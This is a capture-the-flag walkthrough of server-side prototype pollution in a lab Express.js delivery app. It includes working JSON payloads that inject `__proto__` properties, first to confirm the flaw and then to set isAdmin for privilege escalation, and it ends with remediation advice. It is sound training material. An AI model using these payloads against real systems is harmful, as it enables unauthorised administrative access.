BugForge - Weekly - Galaxy Dash
Weekly - Galaxy Dash
Vulnerabilities Covered:
Server-Side Prototype Pollution
Summary:
This walkthrough demonstrates a server-side prototype pollution vulnerability in an Express.js-based delivery platform. By exploiting an unsafe object merge operation in the team permissions update endpoint, an attacker can inject properties into the global object prototype using the proto accessor. This allows the attacker to add an isAdmin property that propagates to all user objects lacking this property, effectively granting administrative privileges and bypassing access controls to restricted endpoints.
Reference:
Bugforge.io
PortSwigger - Prototype Pollution - Server Side
MDN - Inheritance and the Prototype Chain
Solution
Step 1 - Understanding Prototype Pollution
Prototype pollution is a vulnerability that allows an attacker to add or modify properties of an object’s prototype. Unlike class-based languages (Python, Java, C++), JavaScript uses prototypal inheritance where all objects have a reference to a prototype, which in turn has its own prototype, forming a chain up to the root Object.prototype.
The vulnerability arises when objects are merged unsafely, allowing an attacker to inject properties into the global object prototype. Once polluted, all objects inheriting from that prototype will have the attacker-controlled property.
Key concept: If an object doesn’t have a property defined directly on it, JavaScript will traverse up the prototype chain looking for that property. This is what makes prototype pollution dangerous - polluting a property on the prototype affects all objects that inherit from it.
Step 2 - Application Reconnaissance
After creating a business account and logging in, the application reveals itself as an intergalactic delivery platform with the following features:
- Deliveries: Schedule and manage deliveries between locations
- Team Management: Add users with different permission levels
The team management feature allows creating users with various roles and updating their permissions. This functionality sends PUT requests to /api/teams/{user_id} with a JSON body containing permission properties.
Using directory fuzzing with a tool like ffuf, an additional endpoint was discovered
This revealed the /api/admin endpoint, which returns a 403 Forbidden response with the message:
1
2
3
4
{
"error": "Admin access required",
"log": "is admin check failed"
}
This error message indicates the application is checking for an isAdmin property on the user object.
Step 3 - Confirming Prototype Pollution
The technology stack reveals the application is running Express.js, which is commonly susceptible to prototype pollution vulnerabilities.
The team permissions update endpoint (PUT /api/teams/{user_id}) accepts JSON with permission properties. To test for prototype pollution, a special payload was crafted using the __proto__ accessor.
First, establish a baseline by sending invalid JSON to see the default error response:
1
{invalid}
Response: 400 Bad Request
Next, test for prototype pollution by attempting to modify the response status code (a technique credited to Gareth Heyes):
1
2
3
4
5
6
7
8
{
"viewDeliveries": true,
"manageUsers": false,
"manageOrganization": false,
"__proto__": {
"status": 510
}
}
Response: 200 OK - User permissions updated successfully
Now send the same invalid JSON again:
1
{invalid}
Response: 510 instead of 400
The status code changed from 400 to 510, confirming the prototype pollution vulnerability. This technique is effective because it doesn’t cause denial of service on the backend.
Step 4 - Exploiting Prototype Pollution for Admin Access
With prototype pollution confirmed, the next step is to pollute the isAdmin property that the /api/admin endpoint checks for.
Send a request to the team permissions endpoint with the following payload:
1
2
3
4
5
6
7
8
{
"viewDeliveries": true,
"manageUsers": false,
"manageOrganization": false,
"__proto__": {
"isAdmin": true
}
}
Response: 200 OK - User permissions updated successfully
Now, when the application checks user.isAdmin:
- The user object doesn’t have
isAdmindefined directly - JavaScript traverses up the prototype chain
- It finds
isAdmin: trueon the polluted prototype - The check passes, granting admin access
Send a request to the admin endpoint:
1
GET /api/admin
Response: 200 OK with the challenge flag
Impact
- Complete bypass of administrative access controls
- All user objects without an explicitly defined
isAdminproperty inherit admin privileges - Potential for persistent privilege escalation affecting all users
- Server-side state pollution that persists across requests
- Could lead to data exfiltration, unauthorized actions, or further exploitation
Vulnerability Classification
- OWASP Top 10: A03:2021 - Injection
- Vulnerability Type: Server-Side Prototype Pollution
- Attack Surface: Team management API endpoint
- CWE: CWE-1321 - Improperly Controlled Modification of Object Prototype Attributes
Root Cause
The application uses an unsafe object merge or assignment operation when processing user input in the team permissions update endpoint. This allows the __proto__ property from user-controlled JSON to modify the prototype chain. The lack of property sanitization combined with JavaScript’s prototypal inheritance model enables attackers to inject arbitrary properties that propagate to all objects.
Remediation
- Sanitize input: Remove or reject
__proto__,constructor, andprototypekeys from user input before processing - Use null-prototype objects: Create objects with
Object.create(null)to break the prototype chain - Define all properties explicitly: Ensure all objects have required properties defined directly, preventing prototype chain traversal
- Use Object.hasOwn(): When checking for properties, use
Object.hasOwn(obj, 'prop')instead of direct property access - Freeze prototypes: Use
Object.freeze(Object.prototype)to prevent modifications (may break some libraries) - Use schema validation: Implement strict JSON schema validation that only allows expected properties
- Update dependencies: Many prototype pollution vulnerabilities exist in popular npm packages - keep dependencies updated
